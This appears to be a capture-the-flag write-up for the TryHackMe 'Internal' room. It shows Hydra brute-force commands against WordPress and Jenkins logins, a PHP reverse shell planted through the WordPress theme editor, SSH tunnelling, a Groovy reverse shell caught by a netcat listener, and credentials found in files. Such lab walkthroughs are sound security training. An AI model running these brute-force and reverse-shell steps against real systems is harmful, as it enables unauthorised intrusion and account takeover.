TryHackMe: Internal write-up

In this article, we’ll delve into the solution to the “Internal” TryHackMe Capture The Flag challenge. Our focus will be on the techniques used to enumerate and exploit both a WordPress blog and a Jenkins installation.

Link: https://tryhackme.com/room/internal

Difficulty: Hard

Authors: TheMayor

Firsts steps and enumeration

To begin I modified the /etc/hosts file and mapped the machine IP address to “internal.thm”. Following that, I executed a customary nmap scan, the results of which are provided below:

# Nmap 7.93 scan initiated Thu Apr 13 20:35:27 2023 as: nmap -sT -sC -v -p- -T5 -oN nmap.log internal.thm
Warning: 10.10.55.68 giving up on port because retransmission cap hit (2).
Nmap scan report for internal.thm (10.10.55.68)
Host is up (0.051s latency).
Not shown: 65041 closed tcp ports (conn-refused), 492 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   2048 6efaefbef65f98b9597bf78eb9c5621e (RSA)
|   256 ed64ed33e5c93058ba23040d14eb30e9 (ECDSA)
|_  256 b07f7f7b5262622a60d43d36fa89eeff (ED25519)
80/tcp open  http
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET

Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Apr 13 20:38:14 2023 -- 1 IP address (1 host up) scanned in 166.83 seconds

The scan revealed that the target is hosting an SSH server and Apache web server running the default web page. To further investigate, I utilized GoBuster:

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.thm/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/04/13 20:41:06 Starting gobuster in directory enumeration mode
===============================================================
/blog                 (Status: 301) [Size: 311] [--> http://internal.thm/blog/]
/wordpress            (Status: 301) [Size: 316] [--> http://internal.thm/wordpress/]
/javascript           (Status: 301) [Size: 317] [--> http://internal.thm/javascript/]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://internal.thm/phpmyadmin/]
/server-status        (Status: 403) [Size: 277]

===============================================================
2023/04/13 20:59:54 Finished
===============================================================

It appears that the website is powered by WordPress, and PHPMyAdmin is also present. My next course of action was to examine the WordPress site, which features the standard default WordPress blog template. The site only contains a single published article titled “Hello World!” authored by a user with the username “admin,” which seems to be a legitimate username. Since there isn’t much else available, I proceeded to access the /wp-admin page.

To confirm the validity of the “admin” username, I entered various combinations of fake usernames, which resulted in an “unknown username” error. However, when I tried to log in using the username “admin,” I received an error message stating that “The password you entered for the username admin is incorrect.”

To determine whether the password for the “admin” user is easily guessable, I utilized THC Hydra, which found it easily:

$ hydra internal.thm http-form-post "/blog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Finternal.thm%2Fblog%2Fwp-admin%2F&testcookie=1:Error" -l admin -P /usr/share/wordlists/rockyou.txt -w 5 -o hydra.log -vv

# Hydra v9.4 run at 2023-04-14 15:36:50 on internal.thm...
...
[80][http-post-form] host: internal.thm   login: admin   password: [REDACTED]

Reverse shell

Since I was able to gain administrative access to WordPress, I had access to its theme editor functionality, which allowed me to inject a PHP reverse shell into any page. I downloaded the PHP reverse shell from pentestmonkey, configured a netcat listener on my local machine, edited the IP and port in the PHP script, and opened the 404 template in WordPress’ Theme Editor. By replacing the contents of the page with the reverse shell and directing my browser to a non-existent blog page, I was able to obtain a shell as the www-data user on the target machine.

Since Python3 is installed on the target I used it to get a stable shell and then took a look on the system:

www-data@internal:/$ ls
bin    dev   initrd.img      lib64	 mnt   root  snap      sys  var
boot   etc   initrd.img.old  lost+found  opt   run   srv       tmp  vmlinuz
cdrom  home  lib	     media	 proc  sbin  swap.img  usr  vmlinuz.old
www-data@internal:/$ ls /home
aubreanna
www-data@internal:/$ ls /var/www
html
www-data@internal:/$ ls /var/www/html
index.html  wordpress
www-data@internal:/$ ls /opt
containerd  wp-save.txt

While looking around, I stumbled upon a file named “wp-save.txt” in the /opt directory. To my surprise, it contained login credentials for the user “aubreanna”:

www-data@internal:/$ cat /opt/wp-save.txt
Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:[REDACTED]

Now that we have the login credentials for the user “aubreanna,” we can log in via SSH and obtain a proper shell. Upon accessing the home directory of the user, we discovered the user flag and a file named “jenkins.txt” with the following content:

aubreanna@internal:~$ cat jenkins.txt 
Internal Jenkins service is running on 172.17.0.2:8080

Root access with Jenkins

Jenkins is a popular open-source automation server that helps to automate various parts of the software development process. It is primarily used for building, testing, and deploying software projects.

To gain access to the Jenkins instance, I established an SSH tunnel utilizing the credentials of “aubreanna”:

$ ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm

With the SSH tunnel set up, I can now access the remote Jenkins instance by navigating to http://localhost:8080 on my local machine, giving me the ability to interact with Jenkins as if I were directly in front of the target computer.

After conducting a quick search on Google, I discovered that the default credentials for Jenkins are “admin” and “password.” I decided to use THC Hydra once again to attempt to brute force the “admin” account:

$ hydra 127.0.0.1 -s 8080 -V -f http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password" -l admin -P /usr/share/wordlists/rockyou.txt -w 5 -o hydra-jenkins.log

...

[8080][http-post-form] host: 127.0.0.1   login: admin   password: [REDACTED]

Jenkins has a useful feature that allows for the execution of custom scripts written in Groovy. Upon conducting further research online, I came across a straightforward reverse shell script that may allow me to obtain root privileges:

$ nc -vlnp 9002
listening on [any] 9002 ...
connect to [10.8.46.10] from (UNKNOWN) [10.10.102.160] 36538

whoami
jenkins

ls -alh /
total 84K
drwxr-xr-x   1 root root 4.0K Aug  3  2020 .
drwxr-xr-x   1 root root 4.0K Aug  3  2020 ..
-rwxr-xr-x   1 root root    0 Aug  3  2020 .dockerenv
drwxr-xr-x   1 root root 4.0K Aug  3  2020 bin
drwxr-xr-x   2 root root 4.0K Sep  8  2019 boot
drwxr-xr-x   5 root root  340 Apr 17 16:55 dev
drwxr-xr-x   1 root root 4.0K Aug  3  2020 etc
drwxr-xr-x   2 root root 4.0K Sep  8  2019 home
drwxr-xr-x   1 root root 4.0K Jan 30  2020 lib
drwxr-xr-x   2 root root 4.0K Jan 30  2020 lib64
drwxr-xr-x   2 root root 4.0K Jan 30  2020 media
drwxr-xr-x   2 root root 4.0K Jan 30  2020 mnt
drwxr-xr-x   1 root root 4.0K Aug  3  2020 opt
dr-xr-xr-x 123 root root    0 Apr 17 16:55 proc
drwx------   1 root root 4.0K Aug  3  2020 root
drwxr-xr-x   3 root root 4.0K Jan 30  2020 run
drwxr-xr-x   1 root root 4.0K Jul 28  2020 sbin
drwxr-xr-x   2 root root 4.0K Jan 30  2020 srv
dr-xr-xr-x  13 root root    0 Apr 17 17:42 sys
drwxrwxrwt   1 root root 4.0K Apr 17 16:55 tmp
drwxr-xr-x   1 root root 4.0K Jan 30  2020 usr
drwxr-xr-x   1 root root 4.0K Jul 28  2020 var

It appears that we are currently confined within a Docker container, as indicated by the presence of the .dockerenv file. Nonetheless, while investigating further, I came across an interesting file located in the /opt directory:

cat /opt/note.txt
Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.

root:[REDACTED]

By using these credentials we can login as root on the target machine and get the final flag:

aubreanna@internal:~$ su -
Password: 

root@internal:~# ls /root
root.txt  snap

root@internal:~# cat /root/root.txt 
THM{REDACTED}

In the cyber world, coffee is the potion of champions. Support my efforts by offering me a virtual cup through 'Buy Me a Coffee'! Let's unravel the enigmas of CTF challenges and fortify our cyber arsenals together!

Leave a reply

Your email address will not be published. Required fields are marked *